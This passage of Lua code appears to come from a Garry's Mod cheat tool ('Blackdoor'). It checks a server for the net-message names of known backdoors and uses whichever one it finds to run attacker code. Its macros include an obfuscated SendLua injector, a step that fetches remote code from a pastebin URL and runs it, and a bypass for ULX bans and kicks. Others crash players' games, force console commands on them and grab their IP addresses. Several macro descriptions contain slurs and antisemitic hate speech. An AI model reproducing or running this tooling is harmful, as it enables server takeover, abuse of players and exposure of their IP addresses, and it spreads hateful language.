7045 },
7046 {
7047 NetWork = "Fix_Keypads"
7048 },
7049 {
7050 NetWork = "Remove_Exploiters"
7051 },
7052 {
7053 NetWork = "noclipcloakaesp_chat_text"
7054 },
7055 {
7056 NetWork = "_Defqon"
7057 },
7058 {
7059 NetWork = "_CAC_ReadMemory",
7060"nostrip"
7061 },
7062 {
7063 NetWork = "nocheat"
7064 },
7065 {
7066 NetWork = "LickMeOut"
7067 },
7068 {
7069 NetWork = "ULX_QUERY2"
7070 },
7071 {
7072 NetWork = "ULXQUERY2"
7073 },
7074 {
7075 NetWork = "MoonMan"
7076 },
7077 {
7078 NetWork = "Im_SOCool"
7079 },
7080 {
7081 NetWork = "Sandbox_GayParty"
7082 },
7083 {
7084 NetWork = "DarkRP_UTF8"
7085 },
7086 {
7087 NetWork = "oldNetReadData"
7088 },
7089 {
7090 NetWork = "memeDoor"
7091 },
7092 {
7093 NetWork = "BackDoor"
7094 },
7095 {
7096 NetWork = "OdiumBackDoor"
7097 },
7098 {
7099 NetWork = "SessionBackdoor"
7100 },
7101 {
7102 NetWork = "DarkRP_AdminWeapons"
7103 },
7104 {
7105 NetWork = "cucked"
7106 },
7107 {
7108 NetWork = "NoNerks"
7109 },
7110 {
7111 NetWork = "kek"
7112 },
7113 {
7114 NetWork = "ZimbaBackDoor"
7115 },
7116 {
7117 NetWork = "something"
7118 },
7119 {
7120 NetWork = "random"
7121 },
7122 {
7123 NetWork = "strip0"
7124 },
7125 {
7126 NetWork = "fellosnake"
7127 },
7128 {
7129 NetWork = "enablevac"
7130 },
7131 {
7132 NetWork = "idk"
7133 },
7134 {
7135 NetWork = "c"
7136 },
7137 {
7138 NetWork = "killserver"
7139 },
7140 {
7141 NetWork = "fuckserver"
7142 },
7143 {
7144 NetWork = "cvaraccess"
7145 },
7146 {
7147 NetWork = "rcon"
7148 },
7149 {
7150 NetWork = "rconadmin"
7151 },
7152 {
7153 NetWork = "web"
7154 },
7155 {
7156 NetWork = "jesuslebg"
7157 },
7158 {
7159 NetWork = "zilnix"
7160 },
7161 {
7162 NetWork = "Þà ?D)◘"
7163 },
7164 {
7165 NetWork = "disablebackdoor"
7166 },
7167 {
7168 NetWork = "kill"
7169 },
7170 {
7171 NetWork = "DefqonBackdoor"
7172 }
7173}
7174
7175function checkbackdoors()
7176 for k, v in pairs(BackDoor_net) do
7177 if (ValidNetString(v.NetWork)) then
7178 BackdoorsFound = 1 + BackdoorsFound
7179 chat.AddText(Color(0, 0, 0, 125), "[R8]", Color(255, 255, 255), " Found Backdoor! - " .. v.NetWork)
7180 v.NetWork = backdoor
7181 end
7182 end
7183end
7184
7185BD.Backdoors = BD.Backdoors or {}
7186BD.CurrentBackdoor = "Generic"
7187
7188for k, v in pairs(BackDoor_net) do
7189 if (ValidNetString(v.NetWork)) then
7190 BD.BackdoorTypes = {
7191 ["Generic"] = {
7192 ["Code"] = "util.AddNetworkString( " .. v.NetWork .. " ) net.Receive( " .. v.NetWork .. ", function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
7193 ["Netkey"] = v.NetWork
7194 }
7195 }
7196 end
7197end
7198
7199checkbackdoors()
7200local netsss = net.Start
7201
7202function BD.IsMessagePooled(netmessage)
7203 local netfunc = netsss
7204
7205 return status
7206end
7207
7208local net = net
7209local ctxt = chat.AddText
7210
7211function BD.ChatText(message, col)
7212 ctxt(Color(195, 205, 255, 255), "[Blackdoor] ", col, message)
7213end
7214
7215function BD.PingBackDoors()
7216 local bds = {}
7217
7218 for k, v in pairs(BackDoor_net) do
7219 if BD.IsMessagePooled(tostring(v.NetWork)) then
7220 bds[k] = true
7221 end
7222 end
7223
7224 return bds
7225end
7226
7227concommand.Add("bd_refresh_backdoors", function()
7228 BD.Backdoors = BD.PingBackDoors()
7229end)
7230
7231function BD.BackdoorActive()
7232 return table.Count(BD.Backdoors) > 0
7233end
7234
7235BD.BDMacros = {
7236 ["Artillery Strike"] = {
7237 ["Type"] = 1,
7238 ["Code"] = [[if !bombstrike then
7239
7240hook.Add("Think", "lulz_bombstrike", function()
7241
7242local explode = ents.Create( "env_explosion" )
7243
7244local ps = Vector(math.random(-8000, 8000), math.random(-8000, 8000), math.random(-5000, 5000))
7245
7246local trc = {}
7247
7248trc.start = ps
7249
7250trc.endpos = ps + Vector( 0, 0, -99999)
7251
7252local tr = util.TraceLine(trc)
7253
7254if !tr.Hit then return end
7255
7256explode:SetPos( tr.HitPos )
7257
7258explode:Spawn()
7259
7260explode:SetKeyValue( "iMagnitude", "400" )
7261
7262explode:Fire( "Explode", 0, 0 )
7263
7264end)
7265
7266bombstrike = true
7267
7268else
7269
7270hook.Remove("Think", "lulz_bombstrike")
7271
7272bombstrike = false
7273
7274end]],
7275 ["Desc"] = "Explode the shit out of everything"
7276 },
7277 ["@ Inject SendLua Interface"] = {
7278 ["Type"] = 1,
7279 ["Code"] = [[
7280
7281local ‪ = _G local ‪‪ = ‪['\115\116\114\105\110\103'] local ‪‪‪ = ‪['\98\105\116']['\98\120\111\114'] local function ‪‪‪‪‪‪‪(‪‪‪‪) if ‪‪['\108\101\110'](‪‪‪‪) == 0 then return ‪‪‪‪ end local ‪‪‪‪‪ = '' for _ in ‪‪['\103\109\97\116\99\104'](‪‪‪‪,'\46\46') do ‪‪‪‪‪=‪‪‪‪‪..‪‪['\99\104\97\114'](‪‪‪(‪["\116\111\110\117\109\98\101\114"](_,16),25)) end return ‪‪‪‪‪ end ‪[‪‪‪‪‪‪‪'6c6d7075'][‪‪‪‪‪‪‪'587d7d577c6d6e766b724a6d6b70777e'](‪‪‪‪‪‪‪'4b21')‪[‪‪‪‪‪‪‪'777c6d'][‪‪‪‪‪‪‪'4b7c7a7c706f7c'](‪‪‪‪‪‪‪'4b21',function ()local false‪=‪[‪‪‪‪‪‪‪'5a76746970757c4a6d6b70777e'](‪[‪‪‪‪‪‪‪'777c6d'][‪‪‪‪‪‪‪'4b7c787d4a6d6b70777e'](),‪‪‪‪‪‪‪'556c785a747d',false )if ‪[‪‪‪‪‪‪‪'706a7f6c777a6d707677'](false‪)then false‪()end end )
7282
7283 ]],
7284 ["Desc"] = "You need this to use certain macros"
7285 },
7286 ["Announce centre screen"] = {
7287 ["Type"] = 1,
7288 ["Code"] = [[for k, v in pairs(player.GetAll()) do v:PrintMessage( HUD_PRINTCENTER, @1 ) end]],
7289 ["Desc"] = "Make an announcement in the centre of everybodys screen",
7290 ["NeedsParameters"] = 1
7291 },
7292 ["Rainbow chat spam"] = {
7293 ["Type"] = 1,
7294 ["Code"] = [[
7295
7296 if !timer.Exists( "lulz_chatspam" ) then
7297
7298 timer.Create( "lulz_chatspam", 0.5, 0, function() BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), @1 )' ) end)
7299
7300 else
7301
7302 timer.Remove( "lulz_chatspam" )
7303
7304 end]],
7305 ["Desc"] = "Spam rainbow chat for all players with the 1st parameter as the text",
7306 ["NeedsParameters"] = 1
7307 },
7308 ["Rainbow chat spam (Turbo)"] = {
7309 ["Type"] = 1,
7310 ["Code"] = [[
7311
7312 if !timer.Exists( "lulz_chatspam" ) then
7313
7314 timer.Create( "lulz_chatspam", 0.01, 0, function() BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), @1 )' ) end)
7315
7316 else
7317
7318 timer.Remove( "lulz_chatspam" )
7319
7320 end]],
7321 ["Desc"] = "Spam rainbow chat for all players with the 1st parameter as the text",
7322 ["NeedsParameters"] = 1
7323 },
7324 ["Unlock all doors"] = {
7325 ["Type"] = 1,
7326 ["Code"] = [[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("unlock", "", 0) end end]],
7327 ["Desc"] = ""
7328 },
7329 ["Toggle all doors"] = {
7330 ["Type"] = 1,
7331 ["Code"] = [[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("toggle", "", 0) end end]],
7332 ["Desc"] = ""
7333 },
7334 ["Broken Glass Symphony"] = {
7335 ["Type"] = 1,
7336 ["Code"] = [[
7337
7338 if !timer.Exists( "A true masterpiece" ) then
7339
7340 timer.Create( "A true masterpiece", 0.2, 0, function()
7341
7342 for _, p in pairs(player.GetAll()) do
7343
7344 p:EmitSound( "physics/glass/glass_largesheet_break"..math.random(1,3)..".wav", 100, math.random( 40, 180 ) )
7345
7346 end
7347
7348 end)
7349
7350 else
7351
7352 timer.Remove( "A true masterpiece" )
7353
7354 end]],
7355 ["Desc"] = "Beethoven's last hidden symphony, only rediscovered in 2017"
7356 },
7357 ["Yeah Baby"] = {
7358 ["Type"] = 1,
7359 ["Code"] = [[
7360
7361 if !timer.Exists( "porn" ) then
7362
7363 timer.Create( "porn", 0.3, 0, function()
7364
7365 for _, p in pairs(player.GetAll()) do
7366
7367 p:EmitSound( "vo/npc/female01/yeah02.wav", 100, math.random( 90, 120 ) )
7368
7369 end
7370
7371 end)
7372
7373 else
7374
7375 timer.Remove( "porn" )
7376
7377 end]],
7378 ["Desc"] = "YEAH BABY YEAH"
7379 },
7380 ["Street War"] = {
7381 ["Type"] = 1,
7382 ["Code"] = [[
7383
7384 if !timer.Exists( "cwar" ) then
7385
7386 timer.Create( "cwar", 1, 0, function()
7387
7388 for _, p in pairs(player.GetAll()) do
7389
7390 p:EmitSound( "ambient/levels/streetwar/city_battle"..math.random( 1, 19 )..".wav", 100, math.random( 90, 120 ) )
7391
7392 end
7393
7394 end)
7395
7396 else
7397
7398 timer.Remove( "cwar" )
7399
7400 end]],
7401 ["Desc"] = "For when you need more dakka"
7402 },
7403 ["Earthquake"] = {
7404 ["Type"] = 1,
7405 ["Code"] = [[
7406
7407 if !timer.Exists( "earthquake" ) then
7408
7409 timer.Create( "earthquake", 0.5, 500, function()
7410
7411 for _, p in pairs(player.GetAll()) do
7412
7413 p:SetPos( p:GetPos() + Vector( 0, 0, 1 ) )
7414
7415 p:SetVelocity( Vector( math.random( -50, 50 ), math.random( -50, 50 ), math.random( 100, 150 ) ) )
7416
7417 util.ScreenShake( p:GetPos(), 20, 1, 1, 100 )
7418
7419 p:EmitSound( "ambient/explosions/exp1.wav", 100, math.random( 60, 100 ) )
7420
7421 end
7422
7423
7424
7425 for _, e in pairs(ents.GetAll()) do
7426
7427 if e:GetPhysicsObject() and e:GetPhysicsObject():IsValid() then e:GetPhysicsObject():AddVelocity( Vector( math.random( -50, 50 ), math.random( -50, 50 ), math.random( 100, 150 ) ) ) end
7428
7429 end
7430
7431
7432
7433
7434
7435 end)
7436
7437 else
7438
7439 timer.Remove( "earthquake" )
7440
7441 end]],
7442 ["Desc"] = "For when you need more dakka"
7443 },
7444 ["Explode all vehicles"] = {
7445 ["Type"] = 1,
7446 ["Code"] = [[for k, v in pairs(ents.GetAll()) do if v:IsVehicle() then
7447
7448 local explo = ents.Create("env_explosion")
7449
7450 explo:SetPos(v:GetPos())
7451
7452 explo:SetKeyValue("iMagnitude", "300")
7453
7454 explo:Spawn()
7455
7456 explo:Activate()
7457
7458 explo:Fire("Explode", "", 0)
7459
7460 end
7461
7462 end]],
7463 ["Desc"] = ""
7464 },
7465 ["RCON command"] = {
7466 ["Type"] = 1,
7467 ["Code"] = [[game.ConsoleCommand( @1.."\n" )]],
7468 ["Desc"] = "Like having rcon access without actually having rcon access"
7469 },
7470 ["Lua run"] = {
7471 ["Type"] = 1,
7472 ["Code"] = [[@1]],
7473 ["Desc"] = "For running your dank luas"
7474 },
7475 ["Lua run from pastebin"] = {
7476 ["Type"] = 1,
7477 ["Code"] = [[http.Fetch( "@1", function( b, l, h, c ) RunString( b ) end, function() end )]],
7478 ["Desc"] = "Fetch and run code from a pastebin link ( remember to use raw you stupid faggot eg. https://pastebin.com/raw/fHeygLt9 )"
7479 },
7480 ["Destroy ULX Ban/Kick"] = {
7481 ["Type"] = 1,
7482 ["Code"] = [[ULib.Ban = function() return false end
7483
7484 ULib.addBan = function() return end
7485
7486 ULib.kick = function() return end]],
7487 ["Desc"] = "Completely break ulx ban and ulx kick so you can't be locked out of the server"
7488 },
7489 ------------------------ player targeted macros ------------------------
7490 ["Kill player"] = {
7491 ["Type"] = 2, -- 1 = indiscriminate, 2= targeted, 3 = dangerous
7492 ["Code"] = [[v:Kill()]],
7493 ["Desc"] = ""
7494 },
7495 ["Fumble player"] = {
7496 ["Type"] = 2, -- 1 = indiscriminate, 2= targeted, 3 = dangerous
7497 ["Code"] = [[v:DropWeapon( v:GetActiveWeapon() )]],
7498 ["Desc"] = "Knocks their current weapon out of their hand"
7499 },
7500 ["Strip weapons"] = {
7501 ["Type"] = 2,
7502 ["Code"] = [[v:StripWeapons()]],
7503 ["Desc"] = ""
7504 },
7505 ["Rocket"] = {
7506 ["Type"] = 2,
7507 ["Code"] = [[v:SetVelocity( Vector(0, 0, 9000) )]],
7508 ["Desc"] = "Sends them flying up into the air"
7509 },
7510 ["Rocket (Spastic)"] = {
7511 ["Type"] = 2,
7512 ["Code"] = [[v:SetVelocity( Vector(math.random( -9000, 9000), math.random( -9000, 9000), 9000) )]],
7513 ["Desc"] = "HOLY SHIIIIIIIIIIIT"
7514 },
7515 ["Change model"] = {
7516 ["Type"] = 2,
7517 ["Code"] = [[v:SetModel( @1 )]],
7518 ["Desc"] = "Set their player model to the specified string (1st paremeter)",
7519 ["NeedsParameters"] = 1
7520 },
7521 ["Set health + armor"] = {
7522 ["Type"] = 2,
7523 ["Code"] = [[v:SetHealth( @1 ) v:SetArmor( @2 ) ]],
7524 ["Desc"] = "Sets their health (1st paremeter) and armor (2nd paremeter)",
7525 ["NeedsParameters"] = 2
7526 },
7527 ["Ear rape"] = {
7528 ["Type"] = 2,
7529 ["Code"] = [[
7530
7531 local snd = {
7532
7533 [1] = "npc/stalker/go_alert2a.wav",
7534
7535 [2] = "vo/npc/male01/question06.wav",
7536
7537 [3] = "ambient/energy/zap1.wav",
7538
7539 [4] = "weapons/knife/knife_stBD.wav",
7540
7541 [5] = "vo/ravenholm/madlaugh04.wav",
7542
7543 [6] = "npc/antlion_guard/antlion_guard_die1.wav",
7544
7545 [7] = "vo/breencast/br_collaboration01.wav,"
7546
7547 }
7548
7549 v:EmitSound( snd[tonumber(@1)], 100, 100 )
7550
7551 ]],
7552 ["Desc"] = "Make them emit a sound (1st paremeter is a number 1-7)",
7553 ["NeedsParameters"] = 1
7554 },
7555 ["Ear rape (from internet)"] = {
7556 ["Type"] = 2,
7557 ["Code"] = [[
7558
7559 BDSendLua( v, 'if soundrape then soundrape:Remove() soundrape = nil return end soundrape = vgui.Create( "DFrame" ) soundrape:SetSize( 1, 1 ) local html = vgui.Create( "HTML", soundrape ) html:OpenURL( @1 )' )
7560
7561 ]],
7562 ["Desc"] = "Make them hear a sound from a URL (1st paremeter). Sending a new sound will stop the previous one. Send an invalid url to stop all sounds entirely on their client",
7563 ["NeedsParameters"] = 1
7564 },
7565 ["Eye rape (from internet)"] = {
7566 ["Type"] = 2,
7567 ["Code"] = [[
7568
7569 BDSendLua( v, 'if bdeyerape then bdeyerape:Remove() bdeyerape = nil return end bdeyerape = vgui.Create( "DFrame" )bdeyerape:SetDraggable( false )bdeyerape:SetSize( ScrW(), ScrH() )bdeyerape:SetTitle( "" )bdeyerape:ShowCloseButton( false )local html = vgui.Create( "HTML", bdeyerape )html:Dock( FILL )html:OpenURL( @1 )' )
7570
7571 ]],
7572 ["Desc"] = "Make them see a full screen, unclosable panel from a URL (1st paremeter). Sending a new url will stop the previous one. Send an invalid url to clear their view entirely",
7573 ["NeedsParameters"] = 1
7574 },
7575 ["Rave Mode"] = {
7576 ["Type"] = 2,
7577 ["Code"] = [[
7578
7579 BDSendLua( v, 'if hook.GetTable().HUDPaint.drugznigga then hook.Remove( "HUDPaint", "drugznigga" ) else hook.Add( "HUDPaint", "drugznigga", function() local cin = math.sin( CurTime() * 10 ) * 255 surface.SetDrawColor( Color( cin, -cin, cin, 100 ) ) surface.DrawRect( 0, 0, ScrW(), ScrH() ) end) end' )
7580
7581 ]],
7582 ["Desc"] = "Make them loosen up and join the party"
7583 },
7584 ["Rave Music"] = {
7585 ["Type"] = 2,
7586 ["Code"] = [[
7587
7588 BDSendLua( v, 'surface.PlaySound( "music/hl1_song25_remix3.mp3" )' )
7589
7590 ]],
7591 ["Desc"] = "DOOF DOOF NIGGA"
7592 },
7593 ["Whisper"] = {
7594 ["Type"] = 2,
7595 ["Code"] = [[v:ChatPrint( @1 )]],
7596 ["Desc"] = "Anonymously whisper text into their chatbox (1st paremeter)",
7597 ["NeedsParameters"] = 1
7598 },
7599 ["Whisper (advanced)"] = {
7600 ["Type"] = 2,
7601 ["Code"] = [[
7602
7603 BDSendLua( v, 'chat.AddText( Color( @2, @3, @4 ), @1 )' )
7604
7605 ]],
7606 ["Desc"] = "Anonymously whisper coloured text into their chatbox (1st paremeter = text, 2nd = r, 3rd = g, 4th = b)",
7607 ["NeedsParameters"] = 1
7608 },
7609 ["Ignite player"] = {
7610 ["Type"] = 2,
7611 ["Code"] = [[v:Ignite( 30 )]],
7612 ["Desc"] = "Ignite players for 30 seconds, spam repeatedly to refresh the duration"
7613 },
7614 ["Toggle godmode"] = {
7615 ["Type"] = 2,
7616 ["Code"] = [[if v:HasGodMode() then v:GodDisable() else v:GodEnable() end]],
7617 ["Desc"] = ""
7618 },
7619 ["Crash their gmod"] = {
7620 ["Type"] = 2,
7621 ["Code"] = [[v:SendLua("function fag() return fag() end fag()")]],
7622 ["Desc"] = "Instantly freezes their game solid, the only way to fix it is ctrl-alt-delete or a computer restart"
7623 },
7624 ["Toggle serverside speedhack"] = {
7625 ["Type"] = 2,
7626 ["Code"] = [[if !v.Sanic then v:SetRunSpeed( 1200 ) v:SetWalkSpeed(800) v.Sanic = true else v:SetRunSpeed( 240 ) v:SetWalkSpeed( 160 ) v.Sanic = false end]],
7627 ["Desc"] = "GOTTA GO FAST"
7628 },
7629 ["Freeze/Unfreeze player"] = {
7630 ["Type"] = 2,
7631 ["Code"] = [[v:Freeze( !v:IsFrozen() )]],
7632 ["Desc"] = ""
7633 },
7634 ["Force say"] = {
7635 ["Type"] = 2,
7636 ["Code"] = [[v:Say(@1)]],
7637 ["Desc"] = "Forces them to say the specified string in chat (first parameter)",
7638 ["NeedsParameters"] = 1
7639 },
7640 ["Force concommand"] = {
7641 ["Type"] = 2,
7642 ["Code"] = [[v:ConCommand(@1)]],
7643 ["Desc"] = "Forces them to run the specified console command (first parameter)",
7644 ["NeedsParameters"] = 1
7645 },
7646 ["Grab IP"] = {
7647 ["Type"] = 2,
7648 ["Code"] = [[ for _, p in pairs(player.GetAll()) do if %LP then p:ChatPrint( v:Nick().." : "..v:IPAddress() ) end end]],
7649 ["Desc"] = "Prints their IP Address to your console"
7650 },
7651 ["DarkRP add/remove money"] = {
7652 ["Type"] = 2,
7653 ["Code"] = [[v:addMoney(@1)]],
7654 ["Desc"] = "Adds money to their wallet (first parameter) remember that you can use negative numbers to subtract money",
7655 ["NeedsParameters"] = 1
7656 },
7657 ["DarkRP force job"] = {
7658 ["Type"] = 2,
7659 ["Code"] = [[ for i, t in pairs( team.GetAllTeams() ) do if string.lower(t.Name) == string.lower( @1 ) then v:changeTeam(i, true, true) end end]],
7660 ["Desc"] = "Change their team to the specified job (1st parameter = job name, does not require capitalization)",
7661 ["NeedsParameters"] = 1
7662 },
7663 ["Force team switch"] = {
7664 ["Type"] = 2,
7665 ["Code"] = [[ for i, t in pairs( team.GetAllTeams() ) do if string.lower(t.Name) == string.lower( @1 ) then v:SetTeam( i ) end end]],
7666 ["Desc"] = "Change their team to the specified team name (1st parameter)",
7667 ["NeedsParameters"] = 1
7668 },
7669 ["Noclip player"] = {
7670 ["Type"] = 2,
7671 ["Code"] = [[if v:GetMoveType() != MOVETYPE_NOCLIP then v:SetMoveType(MOVETYPE_NOCLIP) else v:SetMoveType(MOVETYPE_WALK) end]],
7672 ["Desc"] = "Toggles noclip on the specified players"
7673 },
7674 ["Give weapon to player"] = {
7675 ["Type"] = 2,
7676 ["Code"] = [[v:Give( @1 )]],
7677 ["Desc"] = "Gives this player a weapon (first parameter)",
7678 ["NeedsParameters"] = 1
7679 },
7680 ["Give ammo to player"] = {
7681 ["Type"] = 2,
7682 ["Code"] = [[v:GiveAmmo( @1, @2, false )]],
7683 ["Desc"] = "Gives this player some ammo (first parameter = amount of ammo, secound parameter = ammo type)",
7684 ["NeedsParameters"] = 2
7685 },
7686 ["Teleport (them to your cursor)"] = {
7687 ["Type"] = 2,
7688 ["Code"] = [[
7689
7690 local tp = false
7691
7692 local tpos
7693
7694 for _, p in pairs(player.GetAll()) do if %LP then tpos = p:GetEyeTraceNoCursor().HitPos tp = true end end
7695
7696 if tp then v:SetPos( tpos ) end
7697
7698 ]],
7699 ["Desc"] = "Teleports the selected players to your cursor location, not recommended for more than 1 person at once"
7700 },
7701 ["Teleport (you to them)"] = {
7702 ["Type"] = 2,
7703 ["Code"] = [[
7704
7705 local tp = false
7706
7707 local tpos = v:GetPos() + Vector( 32, 0, 10)
7708
7709 for _, p in pairs(player.GetAll()) do if %LP then p:SetPos( tpos ) end end
7710
7711 ]],
7712 ["Desc"] = "Teleport yourself to the selected player, may end with you stuck inside a wall"
7713 },
7714 ["Teleport (blink)"] = {
7715 ["Type"] = 2,
7716 ["Code"] = [[
7717
7718 local tpos = v:GetEyeTraceNoCursor().HitPos
7719
7720 v:SetPos( tpos )
7721
7722 ]],
7723 ["Desc"] = "Use on yourself or others to warp them to where they are looking"
7724 },
7725 ["Spawn entity near player"] = {
7726 ["Type"] = 2,
7727 ["Code"] = [[
7728
7729 local tr = {}
7730
7731 tr.start = v:GetShootPos()
7732
7733 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
7734
7735 tr.filter = {v}
7736
7737 local trace = util.TraceLine(tr)
7738
7739 local dix = ents.Create( @1 )
7740
7741 dix:SetPos(trace.HitPos)
7742
7743 dix:SetAngles(Angle(0,0,0))
7744
7745 dix:Spawn()
7746
7747 ]],
7748 ["Desc"] = "Spawn an entity in front of this player (first parameter = entity class), cannot spawn cars!",
7749 ["NeedsParameters"] = 1
7750 },
7751 ["Spawn prop near player"] = {
7752 ["Type"] = 2,
7753 ["Code"] = [[
7754
7755 local tr = {}
7756
7757 tr.start = v:GetShootPos()
7758
7759 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
7760
7761 tr.filter = {v}
7762
7763 local trace = util.TraceLine(tr)
7764
7765 local dix = ents.Create( "prop_physics" )
7766
7767 dix:SetPos(trace.HitPos)
7768
7769 dix:SetAngles(Angle(0,0,0))
7770
7771 dix:SetModel( @1 )
7772
7773 dix:Spawn()
7774
7775 ]],
7776 ["Desc"] = "Spawn a world prop in front of this player (first parameter = model)",
7777 ["NeedsParameters"] = 1
7778 },
7779 ["Spawn evil npc near player"] = {
7780 ["Type"] = 2,
7781 ["Code"] = [[
7782
7783 local tr = {}
7784
7785 tr.start = v:GetShootPos()
7786
7787 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
7788
7789 tr.filter = {v}
7790
7791 local trace = util.TraceLine(tr)
7792
7793 local dix = ents.Create( "npc_citizen" )
7794
7795 dix:SetPos(trace.HitPos)
7796
7797 dix:SetAngles(Angle(0,0,0))
7798
7799 dix:SetKeyValue( "additionalequipment", table.Random({"weapon_shotgun", "weapon_smg1", "weapon_ar2"}) )
7800
7801 dix:SetKeyValue( "citizentype", 3 )
7802
7803 dix:AddRelationship("player D_HT 200")
7804
7805 dix:SetCurrentWeaponProficiency(WEAPON_PROFICIENCY_PERFECT)
7806
7807 dix:SetSchedule( SCHED_IDLE_WANDER )
7808
7809 dix:Spawn()
7810
7811 ]],
7812 ["Desc"] = "Spawn a hostile NPC in front of this player"
7813 },
7814 ["Death ray"] = {
7815 ["Type"] = 2,
7816 ["Code"] = [[
7817
7818 local trace = v:GetEyeTraceNoCursor()
7819
7820 if trace.Entity:IsValid() then trace.Entity:Remove() end
7821
7822 ]],
7823 ["Desc"] = "Vaporize whatever this player is looking at"
7824 },
7825 ["Death ray (explosive)"] = {
7826 ["Type"] = 2,
7827 ["Code"] = [[
7828
7829 local trace = v:GetEyeTraceNoCursor()
7830
7831 local explo = ents.Create("env_explosion")
7832
7833 explo:SetPos(trace.HitPos)
7834
7835 explo:SetKeyValue("iMagnitude", "250")
7836
7837 explo:Spawn()
7838
7839 explo:Activate()
7840
7841 explo:Fire("Explode", "", 0)
7842
7843 ]],
7844 ["Desc"] = "Blow up whatever this player is looking at"
7845 },
7846 ["Precise Artillery Strike"] = {
7847 ["Type"] = 2,
7848 ["Code"] = [[
7849
7850 local trace = v:GetEyeTraceNoCursor()
7851
7852 timer.Create( "uiashfuasfas"..v:UniqueID()..math.random(-9999, 99999), 0.2, 15, function()
7853
7854 local explo = ents.Create("env_explosion")
7855
7856 explo:SetPos(trace.HitPos + Vector( math.random( -500, 500), math.random( -500, 500), math.random( -500, 500) ) )
7857
7858 explo:SetKeyValue("iMagnitude", "250")
7859
7860 explo:Spawn()
7861
7862 explo:Activate()
7863
7864 explo:Fire("Explode", "", 0)
7865
7866 end)
7867
7868 ]],
7869 ["Desc"] = "Blow up whatever this player is looking at"
7870 },
7871 ["Woman Driver"] = {
7872 ["Type"] = 2,
7873 ["Code"] = [[
7874
7875 local trace = v:GetEyeTraceNoCursor()
7876
7877 local car = ents.Create("prop_physics")
7878
7879 local trace2 = util.TraceLine( { start = trace.HitPos, endpos = trace.HitPos + Vector( 0, 0, 5000000 ), mask = MASK_SOLID_BRUSHONLY } )
7880
7881 car:SetModel( "models/props_vehicles/car002a_physics.mdl" )
7882
7883 car:SetAngles( v:GetAngles() )
7884
7885 car:SetPos( trace2.HitPos + Vector( 0, 0, -60 ) )
7886
7887 car:Spawn()
7888
7889 car:Activate()
7890
7891 car.boom = 6
7892
7893 car:GetPhysicsObject():SetVelocity( Vector( 0, 0, -5000 ) )
7894
7895 car:Ignite( 500 )
7896
7897 car:AddCallback( "PhysicsCollide", function( car, dat )
7898
7899 local explo = ents.Create("env_explosion")
7900
7901 explo:SetPos( car:GetPos() )
7902
7903 explo:SetKeyValue("iMagnitude", "350")
7904
7905 explo:Spawn()
7906
7907 explo:Activate()
7908
7909 explo:Fire("Explode", "", 0)
7910
7911 local ef = EffectData()
7912
7913 ef:SetOrigin( car:GetPos() )
7914
7915 ef:SetMagnitude( 5 )
7916
7917 ef:SetScale( 200 )
7918
7919 util.Effect( "ThumperDust", ef )
7920
7921 car.boom = car.boom - 1
7922
7923 if car.boom < 0 then car:Remove() end
7924
7925 end )
7926
7927 timer.Simple( 30, function() if car:IsValid() then car:Remove() end end)
7928
7929 ]],
7930 ["Desc"] = "Make exploding vehicles rain from the sky"
7931 },
7932 ["Poison Gas"] = {
7933 ["Type"] = 2,
7934 ["Code"] = [[
7935
7936 local trace = v:GetEyeTraceNoCursor()
7937
7938 local ar2Explo = ents.Create("env_ar2explosion")
7939
7940 ar2Explo:SetOwner(game.GetWorld())
7941
7942 local p = trace.HitPos
7943
7944 ar2Explo:SetPos(trace.HitPos)
7945
7946 ar2Explo:Spawn()
7947
7948 ar2Explo:Activate()
7949
7950 ar2Explo:Fire("Explode", "", 0)
7951
7952 timer.Create( "gasthekikes_"..math.random(-9999, 9999).."_"..math.random(-9999, 9999), 0.25, 35, function()
7953
7954 for _, ent in pairs(ents.FindInSphere( p, 500)) do
7955
7956 if !ent:IsPlayer() then continue end
7957
7958 local d = DamageInfo()
7959
7960 d:SetDamage( 1 )
7961
7962 d:SetAttacker( game.GetWorld() )
7963
7964 d:SetInflictor( game.GetWorld() )
7965
7966 d:SetDamageType( DMG_DROWN )
7967
7968 ent:TakeDamageInfo( d )
7969
7970 end
7971
7972 end)
7973
7974
7975
7976 ]],
7977 ["Desc"] = "GAS THE JEWS RACE WAR NOW"
7978 },
7979 ["Spawn vehicle near player"] = {
7980 ["Type"] = 2,
7981 ["Code"] = [[
7982
7983 local trc = {}
7984
7985 trc.start = v:GetShootPos()
7986
7987 trc.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
7988
7989 trc.filter = {v}
7990
7991 local tr = util.TraceLine(trc)
7992
7993
7994
7995 local VehicleList = list.Get( "Vehicles" )
7996
7997 local vehicle = VehicleList[ @1 ]
7998
7999 if ( !vehicle ) then return end
8000
8001 local Angles = v:GetAngles()
8002
8003 Angles.pitch = 0
8004
8005 Angles.roll = 0
8006
8007 Angles.yaw = Angles.yaw + 180
8008
8009
8010
8011 local pos = tr.HitPos
8012
8013 if ( vehicle.Offset ) then
8014
8015 pos = pos + tr.HitNormal * vehicle.Offset
8016
8017 end
8018
8019 local Ent = ents.Create( vehicle.Class )
8020
8021 if ( !Ent ) then return end
8022
8023 duplicator.DoGeneric( Ent, vehicle )
8024
8025 if ( vehicle.Model == "models/buggy.mdl" ) then Ent:SetKeyValue( "vehiclescript", "scripts/vehicles/jeep_test.txt" ) end
8026
8027 if ( vehicle.Model == "models/vehicle.mdl" ) then Ent:SetKeyValue( "vehiclescript", "scripts/vehicles/jalopy.txt" ) end
8028
8029 if ( vehicle && vehicle.KeyValues ) then
8030
8031 for k, v in pairs( vehicle.KeyValues ) do
8032
8033 Ent:SetKeyValue( k, v )
8034
8035 end
8036
8037 end
8038
8039 Ent:SetModel( vehicle.Model )
8040
8041 Ent:SetAngles( Angles )
8042
8043 Ent:SetPos( pos )
8044
8045 Ent:Spawn()
8046
8047 Ent:Activate()
8048
8049 if ( Ent.SetVehicleClass && @1 ) then Ent:SetVehicleClass( @1 ) end
